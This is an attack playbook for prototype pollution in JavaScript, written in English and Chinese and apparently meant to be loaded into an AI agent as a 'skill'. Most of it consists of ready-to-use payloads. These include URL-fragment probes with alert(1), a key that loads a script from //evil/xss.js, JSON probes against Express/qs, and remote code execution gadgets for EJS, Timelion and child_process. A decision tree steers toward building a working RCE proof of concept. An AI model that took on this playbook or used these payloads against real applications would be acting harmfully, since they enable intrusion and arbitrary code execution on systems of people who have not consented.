SKILL: Prototype Pollution — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert prototype pollution for client and server JS. Covers __proto__ vs constructor.prototype, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on parser behavior and post-pollution sinks.

中文路由提示：当存在深度合并、递归 assign、JSON.parse 后 Object.assign、或 URL 查询被转成嵌套对象时，优先怀疑 PP。

0. QUICK START

Client-side first probes

#__proto__[polluted]=1
#__proto__[polluted]=polluted
#constructor[prototype][polluted]=1

在可反射到 DOM 或框架路由的场景，配合 alert(1) / console 观察是否全局对象属性被污染。

#__proto__[xxx]=alert(1)

Server-side first probes（JSON / form）

{"__proto__":{"polluted":true}}

{"constructor":{"prototype":{"polluted":true}}}

发送后检查：后续无关响应是否带上异常头/状态码/JSON 空格，或应用逻辑是否读取到 Object.prototype.polluted（见 §3 探测表）。

Quick boolean

若目标使用 lodash.merge、deep-extend、hoek.applyToDefaults、部分 qs/query-string 配置，提高优先级。

1. MECHANISM

原型链：访问 obj.key 时，若 obj 自有属性无 key，沿 [[Prototype]] 向上查，直至 Object.prototype。

__proto__：许多解析器把字面键 __proto__ 当作「把下面属性接到原型上」的魔法键（Object.prototype 的历史可访问属性路径）。合并 { "__proto__": { "x": 1 } } 可能等价于 Object.prototype.x = 1（视实现与修复版本而定）。

constructor.prototype：constructor 通常指向对象的构造函数；constructor.prototype 即该构造器的 prototype 对象。对普通对象默认连到 Object.prototype。路径如：

{"constructor":{"prototype":{"polluted":1}}}

与 __proto__ 不一定等价（过滤、JSON 解析、Bun/Node 差异），需双线测试。

攻击本质：不是「多传一个参数」，而是在未隔离的合并算法里，把可控键指向原型对象，使全局或共享模板上下文获得恶意属性，后续代码「正常」读取该属性即触发 gadget。

2. CLIENT-SIDE DETECTION

URL fragment

https://app.example/page#__proto__[admin]=1

https://app.example/#__proto__[xxx]=alert(1)

若路由或 analytics 把 fragment 解析进对象再合并，可能污染。

`constructor.prototype` path

#constructor[prototype][role]=admin

DOM / 属性注入思路

框架若把属性名当对象键合并：

__proto__[src]=//evil/xss.js

事件处理器型键（实现相关）：

__proto__[onerror]=alert(1)

验证：新开无 fragment 的页面，在控制台检查 Object.prototype 是否残留测试键；注意扩展与 DevTools 干扰。

3. SERVER-SIDE DETECTION (Express / Node, black-box)

以下载荷假设 body 或 query 被 qs 或同类解析器深度解析进对象（或与 body-parser 组合）。观测全局副作用，而非仅当前接口返回值。

Payload（JSON 示意）	预期可观察信号
`{"__proto__":{"parameterLimit":1}}`	后续请求中多参数被忽略或解析异常（`qs` 风格 `parameterLimit`）
`{"__proto__":{"ignoreQueryPrefix":true}}`	`??foo=bar` 类双问号前缀被接受或行为突变
`{"__proto__":{"allowDots":true}}`	`?foo.bar=baz` 嵌套键按点号展开生效
`{"__proto__":{"json spaces":" "}}`	JSON 序列化响应出现额外空格（`JSON.stringify` 受污染空格设置影响）
`{"__proto__":{"exposedHeaders":["foo"]}}`	CORS 响应出现 `foo` 相关头（若框架从原型读配置）
`{"__proto__":{"status":510}}`	某条响应状态码变为 510 或异常码（应用从对象读 `status`）

操作要点：先发污染请求，再发干净请求观察是否持久；连接池与 worker 生命周期会影响「是否全局可见」。

4. EXPLOITATION GADGETS

目标 / 场景	载荷或模式	备注
EJS	`{"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}`	`escapeFunction` 等选项若被模板引擎从受污原型读取，可导向 RCE；版本与配置强相关
Timelion 表达式链（CVE-2019-7609）	`.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")')`	历史链：原型污染 + 时间线表达式执行；用于理解表达式 + PP 组合
Node `child_process`	污染 `shell`、`argv0`、`env`、`NODE_OPTIONS` 等（经合并进 `exec`/`fork` 选项对象）	依赖后续是否 `spawn`/`fork` 且从原型链读取选项
通用 constructor 路径	`{"constructor":{"prototype":{"foo":"bar"}}}`	绕过仅过滤 `__proto__` 键的弱校验

链式思维：污染 → 某依赖 obj.settings.xxx 且未 hasOwnProperty → RCE / SSRF / 路径穿越。

5. TOOLS

项目	用途
yeswehack/pp-finder	辅助定位 PP 易感合并点与模式
yuske/silent-spring	研究与检测相关原型污染面
yuske/server-side-prototype-pollution	服务端 PP 测试套件/思路
BlackFan/client-side-prototype-pollution	浏览器端 PP 案例与 payload
portswigger/server-side-prototype-pollution	Burp 生态扩展/配套材料
msrkp/PPScan	扫描/验证辅助

优先在授权目标上使用；自动化工具可能对状态ful 应用产生副作用。

6. DECISION TREE

                    Input merged into nested object?
                    (query, JSON, GraphQL vars, YAML→JSON)
                                |
               NO --------------+-------------- YES
               |                              |
        Other vuln class                Parser allows __proto__ /
                                        constructor.prototype keys?
                                                    |
                                    NO --------------+-------------- YES
                                    |                              |
                             Check unicode /                    Confirm global effect:
                             bypass of key names               clean follow-up request
                                    |                              |
                                    +--------------+----------------+
                                                   |
                                                   v
                                    Gadget present? (template, spawn, JSON.stringify opts, CORS)
                                                   |
                              NO ------------------+------------------ YES
                              |                                         |
                       Report PP as DoS /              Build minimal RCE or
                       logic impact                   high-impact PoC
                              |                                         |
                              +---------------------+-------------------+
                                                    |
                                                    v
                              Client-side: fragment / DOM / third-party script
                              Server-side: qs/body-parser/lodash/deep-merge version audit

Related routing

输入路由与多类注入并列入口 → Injection Testing Router。
模板执行链（非 PP）→ SSTI。
不安全反序列化（非 JS 原型）→ Deserialization。

prototype-pollution